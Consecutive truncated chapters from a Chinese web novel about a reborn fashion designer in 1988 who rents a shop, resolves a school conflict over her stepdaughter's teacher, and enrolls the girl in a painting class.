十分钟以后，一个脸色微红的中年男人冲进办公室，走到马局桌前，问道：“咋了？急匆匆找我来，是出了什么大事吗？” 马局用手点点面前的报纸，也不看他，命令道：“看看这个。” 马局说完，杨校长低头认真翻阅起来，没一分钟就放下笑着对马局道：“这没啥么，你这么叫我来给我吓得，我以为多大点事。行，我给处理一下就行。” 马局一个眼刀过去，用力一拍桌子，怒斥杨 23.家访风波 《后妈每晚都水群[八零]》全本免费阅读 下午两点整，水非仙的家门外准时响起敲门声。水非仙上前开门。 “小莲妈妈，”门外的杨校长笑着冲水非仙点头，中午这点时间，他甚至回去换了身衣服，手里还提着两兜东西，他进门后将东西直接放在客厅的桌子上，对水非仙说：“这是给孩子的，葡萄跟菠萝的罐头，还有挂面。给孩子吃两顿好的。” “这怎么好意思。”水非仙一脸感恩不好意思收下的样子。 杨校长摆摆手，温柔道：“这都不重要，快带我去看孩子。我好好跟她聊聊。” 水非仙点点头，领着杨校长到小莲的卧室门口，轻轻敲门，“宝贝，中午跟你说的，学校的杨校长来了哦。”水非仙说完，房间里传来哒哒哒的走路声，是小莲来开门了。 杨校长本来以为会看到一位哭闹着不想上学倔强至极的小女孩，没想到开门的那一刻他竟看到一位情绪稳定，穿着打扮低调却不随意，甚至还礼貌冲着自己打招呼的小女孩。这实在是与杨校长想象中的差距有点大，这样乖巧却不胆小的小姑娘看上去和高年级的小孩也差不多了。 杨校长弯下腰微笑着问小莲道：“小莲，你可以叫我杨老师哦。我也可以算是咱们学校的老师嘛，今天杨老师来，是想和你聊聊，可以吗？” 艾小莲微笑着点点头，领着杨校长坐房中她早已准备好的凳子，然后开口：“杨老师，您说，我知道您的时间宝贵，忙的都是要紧的大事，您问吧，我会好好回答的。” 杨校长听到小莲这么说，心里已经对这小朋友有几分好感，作为小学校长，他心里又怎么可能不偏向这些孩子。“别怕，小莲，你有什么就说什么，杨老师没事，在杨老师心里，最大的事就是你们每个东城小学的孩子都能健康快乐地长大。其他所有事都得为这件事让步。” 艾小莲起身先为杨校长鞠个躬道谢，接着开口讲起来白老师这段时间以来的所作所为。杨校长本来在报纸上已经对来龙去脉知道得很清楚，可知道整件事跟从小莲的口中听到她具体的动作行为完全是两个概念。尤其是在听到她说的话时，要不是怕吓到孩子，他真想拍着大腿把这人好好骂一顿。 “所以，小莲并不是不想读书是吗？”杨校长问。 艾小莲点点头，“虽然她说我成绩不好，可这不影响我喜欢读书。读书越多，我才能懂得越多，懂得越多，我将来才越能帮到妈妈。”杨校长眼神温柔，多么好的孩子啊。 “那小莲怎么样才愿意回到学校呢？失去小莲这么好的学生，杨老师会难过的。” 小莲低头想想，她说：“杨老师，你知道吗？我们班一年级刚开学的时候，很多同学都非常好，心地善良，乐于助人，大家相处的时候也客客气气，非常礼貌。可后来，杨老师把我们划分三六九等，所谓学习不好的孩子，在她口中，会被当着全班同学的面，被诋毁得一无是处。班里的人更是开始拉小团伙，开始欺负那些不受老师重视的孩子们。我觉得不该是这样，这样下去，我的同学们长大了会成为什么样的人啊？所以……” “所以，你不去上课，又闹这么一场，就是想通过这种方法跟我反馈这件事？”杨校长心里已经有了主意，他温柔问道。 艾小莲点点头，她说：“这么说可能会有点不知天高地厚，但我知道杨老师你会管。我注意您很久了，冬天的时候，你会自己拿着铲子，把校门口整条路的并，都铲干净。这样的老师，我觉得这样的您，不会不管这些。我们一届孩子她就能带出一百多人，那二十年呢？三十年呢？除了她以外，别的老师还会不会也是这样。杨老师，我想上学，可我害怕她。” 听到这里，杨校长点点头，他承诺道：“你明天就去学校，你叫我一声杨老师，我一定想办法给你解决了。” 杨校长心想，这白老师这么嚣张，是有原因的，她的丈夫有不小的来头，本来他想着劝那白老师调岗就行了，别得罪人家。这下看来，就为校长这两个充满责任感的字，他也不得不明知山有虎，偏向虎山行。 和小莲聊完，杨校长就跟水非仙打过招呼然后离开了。走之前，他冲水非仙比个大拇指，告诉水非仙：“这孩子你教育得不得了，等着看吧，以后必成大器。” 杨校长离开后，水非仙进到小莲的房中，眼眸含笑，问着女儿：“你是从什么时候开始，大话编得一套一套的，说得跟真的似的。” 艾小莲有些担心，她小心翼翼地看向妈妈，问道：“你会生气我说谎吗？” 水非仙摇摇头，“不会啊，我又不是那种固执的老顽固，能自圆其说不露破绽本身就是一种本事。何况你这谎言的出发点也是善意的，确实能帮助到不少的孩子。只是没想到，你说得这样好，怪妈妈吗？让你独自面对这些，你要是想一辈子与世无争快快乐乐的，也可以，下次这种事我就不扔给你了。” 艾小莲拉起妈妈的手，认真道：“这没什么，我是跟你学的，对什么样的人要说什么样的话，说对方想听的话再加上三分事实就会比较有说服力。我也知道你这么安排，是因为我说过想要成为你，所以你是故意给我个锻炼的机会。我都知道的，妈妈，我会尽快长大的，等我长大后，就不会让你再这样辛苦了。”艾小莲没说的是，自从水非仙上次受伤，她就一直为自己无法保护妈妈这点耿耿于怀，爱，是孩子成长的催化剂。 听到小莲的话，水非仙心里温柔得都快化成水，她突然明白，原来自己从福利院长大，一路以来忍受住寂寞的严寒，就是为了遇到前路有小莲这样的温暖。原来，老天爷一直公平，所有的美好，都将在苦难的终点，等着你。 母女二人正处在彼此救赎互相感动的温情时刻，家属院中传来女人喊叫的声音。不知发生何事的母女二人，跑去厨房的窗户上打开窗子听了起来。透过窗户她们看到整个家属院中，家里还有人没去上班的，基本上都跑到厨房偷听。 看到楼下在吵架的两个人是谁，母女二人惊讶地对视一眼，有些不敢相信自己的眼睛，没错，楼下正在吵架的是赵春燕和杨校长。 “她是疯了吗？”水非仙问道，“她不是到处宣传说自己最疼自己的宝贝孙孙了吗？怎么连她宝贝孙孙的校长她还敢骂啊？哎哎哎，小莲你快看，动手了。 24.选址难 《后妈每晚都水群[八零]》全本免费阅读 第二天水非仙没有出门，在家中完成这个月接的定制单子。等到中午，小莲兴致勃勃地回到家中。 水非仙已经提前将饭菜准备好，小莲边吃边同妈妈分享着今天发生的一切。 “妈妈你知道吗？今天我去学校，我们班的老师换掉了，你猜换成谁了？”小莲眉眼弯弯，笃定水非仙猜不出。 “是谁啊？妈妈猜不到。”水非仙做出一副很苦恼的样子，逗得小莲哈哈直笑。 “就是杨校长啊，他现在带我们班了。”小莲故作神秘道。 “校长代班啊？”水非仙有些没想到，校长带课放在后世也不少见，但是校长带班却实属罕见，更别提东城小学还是Y市这样二线城市的重点小学。 “对，而且今天学校紧急把各个班都叫去广场，我们整个上午开了很久的会，没怎么上课。会上的内容，大概就是宣布了白老师的处分，还让白老师当着全校的面做出检讨，并对我、对我们整个班道歉。”艾小莲高兴得整张脸红扑扑地跟水非仙说着。 听到这里水非仙才是真的有些惊讶，她知道白老师会挨处分，但杨校长会做到这个地步水非仙是真的有些佩服。杨校长这是为了杜绝再有老师犯错，干脆将学校的错误赤裸裸剖开展现在全体师生面前。做出这样的决定要扛住不少压力。 “这么看，杨老师是个好老师，妈妈很放心。”水非仙称赞道。 艾小莲又说：“还不止呢，杨老师今天开大会的时候，还把老师们在教学方面存在的问题又重申了一遍。告诉所有老师，教育的最终目的，是教会我们如何做人。” 水非仙点点头，“都是好事。” 小莲歪歪脑袋，想想说：“今天开会嘛，对我来说是好事，对有些人来说就不是了。” “怎么了？”水非仙好奇道。 小莲轻笑着说：“我现在总算知道，为什么从前赵奶奶传妈妈你是非的时候，你从不跟她一般见识了。” 水非仙看着小莲那副小大人的模样，真的是感到十分可爱，“那你说说看，为什么呢？” “我想，大概是因为……”小莲咬着筷子思索道，“一个人她能对你使坏就能对别人使坏，咱们收拾她对咱们没有任何好处反而还可能会有坏处。既然如此，那不如就让她以为她的招数有用，别人都怕了她好了。这样她会渐渐自以为是，直到遇到她惹不起的人，然后踢到铁板。” 水非仙点点头，女儿长大的速度真的是越来越快，“所以她这么快就踢到铁板了？” 小莲嘿嘿一笑，“杨校长其实什么都没说，他只说有些家长，素质太差，他都懒得说。我们这些念过书的孩子应该好好去反过来教育教育自己家长，别让他们影响这个城市什么的。可是，我们小学的人都是附近住着的，发生了什么还能不知道吗？我看到今天放学的时候，一堆人追着赵奶奶的孙子，笑话他奶奶把校长的脸都给挠破的事。” 水非仙轻轻皱眉，想到之前的经历，“就跟他们之前追你一样？那这孩子不是很可怜吗？” 小莲想想，说道：“不无辜，他和他奶奶一样，爱传是非。院子里孩子们这点事，都是他从他奶奶那里听来传到学校各处的。不然你以为赵奶奶天天坐在楼下是干什么？媒婆的活哪有这么频繁的，不过就是到处打听是非罢了。” 水非仙想想，那确实不无辜，再小的孩子也该为自己的行为买单了。 与此同时，赵春燕家中。赵春燕的孙子拿起桌上的书本，哭喊着一股脑砸在赵春燕身上。砸得赵春燕痛得“哎呦”一声。 赵春燕的儿子看到自己母亲被砸，怒斥自己儿子：“你做什么？学校就是这么教你的？对长辈不敬。” 听到父亲凶自己，赵春燕的孙子“哇”的一声哭得更厉害。儿子哭得这样凄厉，赵春燕的儿媳不干了。她猛地冲上去把自己老公推在地上，也哭着喊道：“你干什么？”又心疼得将自己的儿子揽在怀中。 这一下推得赵春燕的儿子有些懵，她又将正在闹的儿子揽入怀中，心疼地哄道：“哦哦哦，我们小宝受委屈了。”哄完又抬头瞪自己丈夫一眼道：“我就说了，孩子不能给你妈带，你非不听。这下好了，出事了吧。得罪校长，真有她的！现在好了，咱们家小宝天天被学校那帮坏孩子欺负，学校恐怕也不会管了。这下怎么办？小宝这书还怎么念下去？要不是你妈把小宝惯坏，能出这些事吗？到头来挨骂的都是我儿子，他从小被顺着来惯了，你突然让他接受这些，你把他当橡皮泥呢？任意拿捏？小宝是个人啊，他也有自己感受的！” 这话听得赵春燕一阵心虚，恨不得找个地缝钻进去，假装自己不在。谁能想到，那天跟她吵的，会是小宝的校长？她从前跟人家吵架，别人都是更怕她了，怎么会这样呢？谁能想到吵赢了还能有坏处呢？ 听着妻子数落自己母亲的不是，赵春燕的儿子脾气也逐渐上来，他脸一红脖子一梗，拿起桌上的杯子哐嚓一声就摔在地上砸成碎片，他指着自己妻子的鼻子开骂，那模样真和他母亲有几分相似。“我妈帮你带孩子，没有功劳也有苦劳，你良心被狗吃了你数落她的不是，你再张嘴说一句，信不信我今天打你！” 赵春燕的儿媳一听脾气也上来了，干脆将桌子上的东西一下全扫在地上，大喊道：“来打啊！你今天打不死你就是孙子！我求她替我带孩子了吗？还不是她自己非要带！我巴不得她不要管，我自己来管，如今我儿子好不了了，这日子干脆也别过了！” 看到父母那争吵的激烈样子，小宝哭得更加伤心。赵春来也一屁股跌坐在地上，天老爷天老爷地拍着地哭喊着，看着砸了一地的东西，她是心疼得厉 25.五金店 《后妈每晚都水群[八零]》全本免费阅读 1988年11月15日，水非仙照常抽出时间踩盘。已经经历过长达持续一周的地毯式搜索，水非仙意识到这么找下去效率太低，88年的城市规模同后世没法比，但Y市好歹是个二线城市，改革开放过后个体户数量并不少，店铺数量本身就不少，再加上并不是所有想要招租的店铺都会贴上招租启事，这令水非仙找得很迷茫。 “哎，你看今天的报纸了吗？那是啥意思呢，看不懂，是指以后个体户还能干得比公家都有钱了？” “谁知道呢？我感觉应该不能吧。个体户毕竟只是个体户啊。”旁边路过的两个女学生边走边聊着。 二人的对话令水非仙一下子就意识到自己犯了怎样的错误。她一直认定自己是后世来的，以为自己清楚地明白经历发展的方向。但她忽略掉一点，哪怕方向是一定的，在具体的时间点，都会有无数不可预知的情况发生。做生意怎么可以脱离市场环境，怎么可以抛开政策不提？ 哪怕是放在几十年后，真正能赚到钱的那些人，都得是将形势分析研究得很透彻的那批人。政策不鼓励的市场中提前抽身，政策支持的内容得先于政策之前下场，无数企业家的亲身经历无一不再告诉世人，这才是赚钱的不二法门。人云亦云，只跟着用户需求来做画像，总是要被快速发展的时代淘汰掉，火遍一时的歌舞厅是，后世的教培行业也是。 还好，自己刚来这个世界两个月，毕竟还没有真正下场，并不算犯错。想到这里，水非仙快步走向报刊亭。 “您好，请给我一份《经济报》。”水非仙买到报纸认真阅读起来，今天的头版头条就像一块磁铁，紧紧地吸引住她的视线。 那头条新闻上讲述的内容，大概就是从下个月初，也就是1988年12月初起，我国将从首都带头开始，注册第一批私营企业，届时，第一批提出申请的个体商户老板将注销自己的个体商户营业执照，改为发放私营公司营业执照。 或许这个年代的人还不知道这意味着什么，水非仙激动地看着这张报纸，伸出手来不断地抚摸着这条新闻，她清楚这意味着什么。这意味着第一批吃螃蟹的人将会出现，第一批抓住时代红利的人将要腾飞。这些人现在或许只有几家店或者一栋二层小楼，但多年后，他们之中的大部分，将会是一个个赫赫有名的企业家。 水非仙认真看着报纸，她眼中羡慕的神情几乎快要抑制不住，什么时候，她才能成为其中一员。重活一世的她此刻多么想成为最初的这一批人，第一批注册的私营企业，多么响亮的名头，哪一个做生意的不想拥有？可她目前的条件到底是差太多，别说雇佣人数不达八人以上，目前她甚至只有自己，还连个固定场所都没有，好羡慕他们，什么时候才能轮到自己呢？ 等一下，灵光一现，她突然意识到什么再次打开报纸。对啊，哪一个做生意的不想拥有这头衔？第一批私营企业既然马上要诞生，必定少不得政策扶持，也就是说把握住这个机会，就能飞升。既然如此，她从前岂不是陷入思维僵局？接下来要出手店铺或者转租店铺的，不会是她以为的那些生意一般的店，反而是那些平时生意不错的店，才会想着利用这个时机，完成产业升级。 从85年开始，长达三年的物价持续攀升和今年物价闯关，本身就在告诉水非仙，短时间内个体经济生意再不好的店，这个时候都会认为自己的生意相对稳定。她知道即将到来的89年三角债危机足以影响整个市场，可身处其中的人怎么知道呢？盲目乐观都来不及。 想明白这点，该去哪里踩盘，她就有了主意。88年生意最好的店不是别的，正是五金店。当时的五金店与现在的五金店所售内容大不相同。当时的五金店，自行车是它们的主营商品，而城市居民，基本上家家都有辆自行车。五金店除去售卖自行车、自行车配件，家用五金产品，还负责自行车的维修。可谓生意最好的门店。这个时候难免生意好的五金店老板不想再前进一步，再加上五金店的门店位置一般来说也不会差。 搜索范围一下子就被缩在一个很小的范围内，水非仙便不再迷茫，赶紧动身。生活往往就是这样，当你手足无措，迷茫不知前路时，总是诸事不顺，可当你很清楚你要去往何处，明确努力的方向后，你会发现老天爷也乐于助人。 水非仙乘坐公交车到五金店最密集的商业一条街，刚从过马路用的老式天桥上下来，就听到离天桥最近的一家五金店内，传来争吵。 本就想上前一问的水非仙，便装作买自行车锁，进去一探究竟。 “每平方米一块二一个月，不能再多了！”一位三层下巴的男子猛然一拍桌子，对着玻璃柜台后面的老板大喝道。 “一块儿也太少了，你不能这样子的啊，再加一点点吧，加一点点就租给你。”那老板吓得浑身一抖，似乎有些被眼前的男人吓到，不住地出声讨好着。 水非仙听到这声音，微微蹙眉，88年除去北京和上海，全国的房租价格在4毛到一块之间，购房价格在每平方米400到800之间，当时还没有明确的商业用房出租规定和标准，但店铺和租房的价格，怎么着都是不能一概而论的。商用房的价格在租住房的两倍，两倍都算是相对便宜的。更别说这家店还在马路边，天桥下，还是个小二层。毕竟是二线城市，一块二每平方米，真的和打劫差不多。 “哼，你这么大个店，谁能租得起？不租给我们，我看你短时间租给谁！哪能找到这么大的租客！再看你房子旁边那个转角处，那是什么！说那是个垃圾堆也差不多了！你开什么店不在乎这个！我这还是面店不再让你少点都不错了！我再给你一天时间，明天我来，你要还是犹犹豫豫的，我就不要了！”说完那三层下巴用力一拍玻璃柜子，转身大摇大摆地离开。 那男人走后，老板深深一叹气，自己的心理价位在一块八，别小看这六毛钱，每个月下来租金可是要少一百二的，一百二，那都能开一个店员的工资了。 “请问，您这店是要出租吗？我可以租吗？”水非仙好听而又知性的声音传来，那老板惊喜地 26.自行车 《后妈每晚都水群[八零]》全本免费阅读 一直到九九年，正式的租房合同规定才会出台。因此水非仙和五金店老板全家第二天在五金店里签署的是租房协议。等水非仙在协议上签下自己大名后，对面五金老板全家人齐刷刷站起来。 五金店老板上前搓着手，热情道：“哎呀，向水小姐这么爽快还有实力的租客是真不多了，我们下周就往走搬，今天下午就开始收拾店面，提前祝水小姐生意兴隆啊。” 水非仙也商业互吹道：“您这边办事效率高，我这边也是急着开店前找人装修。要是换了别家，怕不会有这么高的效率。对了，您这房子我现在付了一年的租金，后面我想再租怎么联系您，等个两年这家店我也想着买下来。” 五金店老板和自己儿子对视一眼，彼此的眼中闪过惊喜。他们转过来显得更加热情，老板一拍大腿道：“水小姐放心，我们新店里是要安电话的。走之前把电话留给你，以后每年过年，我们也是要回来的。等您这边想买下这房跟我们说，给你便宜。” 老板的儿子也往店里走，挑了辆最贵的永久牌自行车过来，热情道：“水小姐，我们这也没什么能送您的，这是我们店里最好的车，就当见面礼，你这朋友，我们全家交定了。”这车价值三百五，起重机家属院的车棚里也没几户用这么好的车子。 水非仙本想客气一下拒绝的，又想小莲看到这辆自行车肯定会喜欢，有它自己以后来店里也方便，便不跟他们客气，收下了。“那就谢谢你们了。” 自行车刚到手的一瞬间，门口传来人声，“考虑得怎么样了？能租，今天就把租房合同签了，不能租，有的是别的正在招租的店铺。”是昨天的面店老板，众人转过头，只见对方大摇大摆地走进来，头高傲地向上仰着，几乎在拿鼻孔看人。 “你应该就是我父亲口中的面店老板，”五金店老板的儿子上前一步客气道，“很抱歉，你来晚一步，我们的店已经租出去了，麻烦您再去找别的店铺吧。” 那面店老板听到五金店老板儿子的话有些恼怒，他瞪着面前的人道：“吹牛也不打草稿吗？这么大的店，租下来得多少钱？整个Y市有几个租得起的，我要不是干了那么多年，这都开成分店了，这么多钱我都肉疼。我告诉你，你别为了面子在我面前装？做生意的面子能值几个钱？让你爸跟我说话，小孩子家家的就是做不成生意，总想着打肿脸充胖子。” 五金店老板听到对方这么说，也不恼，他赔笑道：“确实，孩子年纪轻做事就会急躁一点。可年轻人做事虽然急躁，也还有优点，比如我家儿子，就爱说个实话。我家这店，确实是租出去了。协议都签下了。” 那面店老板听五金店老板这么说，脾气一下就上来了，租到合适的店没那么容易，他也物色了很久，本想着给对方个下马威，把谈判时间拉长一点来往下压价，谁知怎么就一天时间，这店铺就出掉了？ 怒气一上来，他就红个脸嚷嚷道：“你这老东西，不诚信啊。做生意哪有这样做的？我跟你正在谈着租房，你转手就把店铺偷偷租给捡漏的人，一家房子你还想租两家？你也不怕我在整个城里宣传宣传你的好品德？” 水非仙听着对方的话难听，她好好租个房，还成捡漏了的？五金店老板脾气好，不代表她水非仙也软硬都吃。水非仙皱眉瞥着眼前不讲理的男人道：“这房子，是我租的，老板明码标价，你付不起这房租，我付得起，老板租给我有什么问题？你昨天来的时候我也在，作为第三方证人，我怎么不知道你和老板有口头协议？” 那面店老板这才注意到还有个水非仙，听到水非仙的话，他转过身来，用轻蔑的眼神上下打量一番，鄙夷道：“呦，这是谁家的小姐出来体验人生了？这个年纪就跑出来学别人做生意，还是个女娃娃，女娃娃果然不行也不知道挑个好点的店铺。你叔叔我不跟你一般见识，赶紧把这店让出来，给你这种毛都没长齐的孩子，不得浪费了？这附近好店挺多，你再去找个小点的，这样等你赔光的时候，家里人还能少骂你点。” 水非仙轻嗤一声，本来听到对方面店都能做到开出分店，还有几分尊敬之心，可对方这几句话，已经让水非仙的尊敬心理荡然无存。水非仙看着眼前的面店老板，好整以暇轻笑一声道：“我想，恐怕，这店面租给你才是真正浪费了。你的生意，做不长。” “你说什么？”面店老板被气得眉毛倒竖，他噔噔朝着水非仙的方向冲两步。自己做了那么多年生意，竟被一个什么都不懂的小丫头说自己生意做得不好？ 五金店老板的儿子向前将水非仙护在身后，迎上面店老板的眼神，二人对峙着。水非仙上前一步，也不怕他。她直勾勾盯着眼前的面店老板，明明对方有她两个那么大，此刻看上去水非仙的气场也不输给她。 “我说错了吗？”她开口道。“做生意本来就是在做人，这金杯银杯都不如老百姓的口碑。本来我想着你做面都能开到分店，味道应该是不错。可你刚才口口声声，又涉及性别歧视，又看不起代表未来市场的年轻人，你做人也就这样了，生意还能好到哪里去？我告诉你，这个市场里永远都不缺好味道的店家，你但凡有一点做不好，就立刻能被别人替换掉。你遇到点事性子就这么急，不管三七二十一永远从别人身上找毛病，把责任推给对方。我水非仙今天把话撂在这儿，你的生意，做不够二十年了。不，十年以内，你便会入不敷出。” 面店老板被气得面红脖子粗，他只是看上去年龄大，实际上他今年不过三十岁，刚从父亲手下接过面店不久。面前的这个女人，她怎么敢诅咒自己的生意才十年就要走下坡路？哪怕是二十年后，他也才五十岁啊，怎么可以？ 被气到极点他反而笑起来，“好好好，刚听你说你叫水非仙是吧？我记住你了，你是做什么生意的？” “服装生意。”反正不告诉他，他也会知道。这样的人，自己以后怕是会遇见不少，也没什么好怕的。即使今天不跟他把话说清楚，水非仙也怕他后面会继续就着这家店租用权的事，和自己没完没了地掰扯。 “好，你给我等着，干服装这种生意，你不租个商城的铺子钻着，反而来这里现眼。我就在这附近找个店铺天天盯着你，记着，你爷爷我开的叫胖子拉面店，你就好好看着，你是怎么赔得一文不剩，你爷爷我是怎么赚得盆满钵满的。到时候可别来找我借钱！”说罢，那面店老板翻个白眼就走了。 “他到底 27.少年宫 《后妈每晚都水群[八零]》全本免费阅读 家中凭空多出一辆自行车，让放学回到家里的小莲开心得不得了。小莲回家以后听水非仙告诉自己家中骤然获得自行车的事，就趴在厨房窗户上一直看着楼下自行车棚里，自己家那辆崭新又威风的新车子。看着女儿怎么也看不够的样子，才让水非仙意识到，自己的女儿虽然懂事，到底还是个孩子。 看着小莲激动的样子，水非仙也不扫兴，她走到厨房弯下腰陪着女儿并排趴在那里看着楼下的自行车。一起看了会儿后，水非仙出声问道：“小莲很喜欢它吗？” “嗯！”小莲重重点头，恨不得用上全身的力气来表达自己对自行车的喜欢。 啊，自己的女儿真的是什么时候看着都那样可爱，水非仙忍不住伸手揉揉女儿的小脑袋，“既然你喜欢它，明天是周六，妈妈休息一天，带你骑着它全城去兜兜风。” 听到这话艾小莲的双眼变得亮晶晶的，“我现在就去！”她踩着塑料拖鞋快速奔向洗手间，脚步轻快，拖鞋被她踩得“哒哒哒”的，恨不得躺下就睡着，睁开眼睛就天亮。 看着女儿的样子水非仙轻笑，这辈子作为母亲，她的愿望不多，唯愿通过自己努力守护，女儿能永远保持住这份热爱，奔赴山海就行。 水非仙转身进入卧室，决定用碎布头为女儿缝制一块坐垫，自行车座女儿就那么坐着不会舒服，再加点海绵减震好了。做好后的水非仙想到这两天光顾着忙，都忘记同群聊中的前辈们交流，便在床上坐好后闭上眼睛。 珍妮朗万：恭喜！我们小水终于要有自己的门店啦！ X：恭喜！ 克里斯汀拉克鲁瓦：恭喜！ 伊夫圣罗兰：恭喜！ 水非仙：哇，你们都看到了！谢谢各位前辈。 珍妮朗万：当然，不过小水，下周五金店搬走，你是不是就得找装修公司开始设计了？新店想好是什么风格了吗？橱窗怎么设计？这很重要啊。 水非仙：哎……不瞒朗万前辈，至今毫无头绪。 珍妮朗万：哦，我可怜的孩子，实在没有想法，不如将你和女儿的生活点滴放进去，打造充满亲情的童话风格怎么样？ 克里斯汀拉克鲁瓦：这不太好吧，朗万前辈，我还是觉得华丽的巴洛克风格更好一些。 伊夫圣罗兰：不赞同，色彩鲜明才能更抓眼球。 珍妮朗万：我的天呐，你们怎么会这么想？水和我一样，是一位优秀的女性设计师，更是一位母亲，所以她得听我的。 伊夫圣罗兰：水和我一样，是位天才设计师，成名时与我年龄相仿，更何况，比起您，我自认更懂女性一些。 克里斯汀拉克鲁瓦：水对华丽这种风格的理解水平很高，自然应当发挥所长。 三位争着争着眼看就要吵起来，看得水非仙有些头痛。毕竟自己是真没拿定主意，这么一吵，使得她更加摇摆不定，既然无法解决，同意哪个都有可能得罪其他人，她干脆决定祸水东引。 水非仙：X前辈，那您如何看呢？ 水非仙此话一出，正在争执的三位立刻停下来，群聊界面一度安静，水非仙仿佛看到三位大设计师此刻像个孩子一样眯着眼睛危险地窥屏。 X：我的想法是，水小姐，你再多看看，多留心自己的身边，或许会有意外的惊喜。不用担心，该到灵感来的时候，它自己就会找上你。 这话看上去分明什么重点都没提到，还有和稀泥的嫌疑。水非仙却总觉得X先生知道点什么。身边吗？水非仙仔细想着，还是没有头绪，也是她一直以来忙着赶路，没有留心周围的风景，正好明天是和女儿独处的时间，不如就放松下来，按着X先生说的，试着从身边找找看吧。 周六的上午，水非仙被小莲从被窝里直接掏出来。在女儿的催促下，水非仙被动地洗漱，直到下楼在自行车上安装坐垫的时候，她的意识才逐渐清醒。 “妈妈，就这么同朝阳一起前行着，向前骑吧。”小莲坐上后座之后，水非仙将车子骑得快速向前奔跑起来，在车子路过石子路小巷时，哪怕安装了海绵坐垫，这样跌宕起伏应该也会硌得人不舒服。可小莲仿佛感觉不到，她惊喜地感受着阳光洒在自己眼睛上，洒在已经小脸上，甚至伸出手去还能在自己指尖起舞的那种感觉。骑车带来的微风，还有路过各个早餐摊位时，那扑鼻的香气，组合在一起居然是这样和谐，这样美。 “早上好，亲爱的世界。”小莲咯咯笑着，鼓起勇气在路过空地时，对着朝阳大声喊着。 被女儿自由自在的氛围感染，水非仙也一同沉浸在这样的快乐中。不如就这样，没有终点地骑下去，看看生活在前方为自己准备着怎样的惊喜。或许多年后的自己再度回想起来，此时此刻，这样放松的自己，本身就是风景。 在到达下一个路口时，为等红灯水非仙将车子停下来，她回头看一眼女儿，发现对方正呆呆地看着斜对面一栋四层的建筑。 那栋建筑通体整体是白色，外面看上去脏得几乎要变成褐色，一楼正全是贴着红棕色玻璃贴的几扇玻璃门，铝合金的把手让它看上去更具年代感。还没进入门内就能看到一排排水磨石的楼梯，每层楼梯的侧面贴着各种长条形的广告纸。而建筑的侧面还有铁架制成的应急消防楼梯。 一楼玻璃门的正上方，贴着三个铜制大字，少年宫。 此时此刻，有不少的家长骑着自行车从身边路过，他们带着孩子来到这里，赶着上早课。孩子之中有的穿着芭蕾舞服，手上还拿着双舞鞋。有的手里还拿着琴谱，背上还背着萨克斯管或者小提琴什么的。还有的干脆手里拿着一架自制的飞机模型。 水非仙忽然想起自己生前刷到过的视频。80年代，一个贫富差距极大的年代。在有的孩子还在满村跑着抓知了的时候，有些孩子已经能够去少年宫，参加兴趣班的课程了。在20世纪80年代，普通人家的孩子甚至不敢跟家里去提，想要学习自己感兴趣的课程，毕竟有些课程的价格实在是过高。这就导致，在几十年后，有一些人发视频说去少年宫的路真远，远到令自己走了几十年。 七八十年代城镇出生的家长，看到自己的同学周 28.风格 《后妈每晚都水群[八零]》全本免费阅读 这堂课讲的是没骨画入门必学之荷花画法。台上的老师一气呵成，讲得通俗易懂，不仅小莲被吸引，水非仙也不知不觉被课程内容吸引。通过对水和墨的巧妙运用，让画夹上的那朵荷花，摆脱线条勾勒的束缚，将作画者心目中的意象一气呵成跃然纸上。 没骨画，画风骨，台上老师只是大致的讲解介绍已然让台下的母女仿若置身在意境的海洋。台上的老师成画时，水非仙竟感到一阵久违的荡气回肠，热泪盈眶之感。这是她上辈子在设计出第一件作品时，曾有过的感受。水非仙想，她找到了，或许此刻只是个方向，可她明白她接下来向哪里前进了。 多年后世界会嘲笑华国人民没有自己的奢侈品牌，会嘲笑华国人的思维灵感枯竭，别人展示的艺术是未来，而华国展示的是过去的辉煌。那么既然自己回到过去，她就不会再让这种事情发生，她要做的不是将古典元素融入现代造型，不是吃老本，而是清清楚楚明明白白地将这种中式美的意境与现代设计相结合，让世界在发展中感受到中式美学的冲击。重来一次，她要让华国的奢侈品，站在世界的顶端。她要让白人占据主导地位的时尚界，清清楚楚地听到来自东方巨龙的龙吟声，更要让这龙吟声响彻九霄，震碎他们引以为傲的时尚圈绝对话语权。 或许，女儿可以帮助自己。她低头看到女儿沾着水描的那两笔，很有那个意思。原来女儿作为这个故事里的女主，从来都不是什么被命运抛弃的小可怜，而是一枚蒙尘明珠，一位被耽误的天才。 想到这里，水非仙不再犹豫，她趁着女儿被台上的老师吸引住全部注意力的时候，偷偷从后面溜出去，找到负责点名的老师，一次性为女儿负了三个月的费用。国画课每周六上午来一次，一个月的费用是六十块。在这个小小的时代来说，是真的很贵。但和女儿大大的梦想相比，又是真的不贵。 或许，这就是X先生说的，从身边找到的灵感。X先生还真是神秘，也不知他到底是随口一说，还是知道什么才那样说。罢了，水非仙摇摇头，何必庸人自扰呢，无论是哪种，既然X先生的到来是想帮助自己，她就没有那个打破砂锅问到底的必要。 国画课的课程安排是一个小时的教学时间，一个小时四十分钟的实际绘画时间，以及最后二十分钟的点评指导时间。小莲听完老师的讲解，自己没有画具，便想着跟妈妈一起离开。转头一看，妈妈已经不在身边，而是站在门外朝自己微笑着招手。 小莲赶紧冲出门去，拉起妈妈就想离开。水非仙晃一晃小莲的手道，坏笑道：“我们小莲，已经知道妈妈要带你去买画具啦？这么厉害吗？” 已经迈开步子的小莲转过头不敢置信地看向水非仙，再接收到地方表达肯定的点头后，她终于意识过来水非仙在说什么，她有些气恼，微微跺脚道：“妈妈，这里的课程很贵，真的没必要花这个冤枉钱。” “怎么能是冤枉钱呢？能帮到小莲，妈妈很开心。”水非仙牵起小莲就走，下楼梯时她又转过身来对着女儿眨眨眼道：“何况，小莲画出优秀的作品，也能帮到妈妈的。” 听到这话，艾小莲终于不再推辞，她认真地点头道：“好，你放心，我不一定是最优秀的，却可以做最努力的。我会帮到你的。” “妈妈知道的。”一直都知道。 出少年宫后，水非仙为让小莲省点体力，自己去看自行车的人那里交钱并推自行车，回来再接小莲。 水非仙付完停车费后再来到少年宫门口，却没有看到小莲。她还以为对方是嫌热，进去里面。却不承想，自己将少年宫的门口来来回回找个遍都没找到。 水非仙将车子停回存放处，接着迈开腿四处跑着喊起来：“小莲！小莲！你在哪里？你别吓妈妈！”喊着喊着，水非仙的下嘴唇忍不住颤抖起来，失去女儿的恐惧感仿佛将她的心脏攥紧，令她无法呼吸。 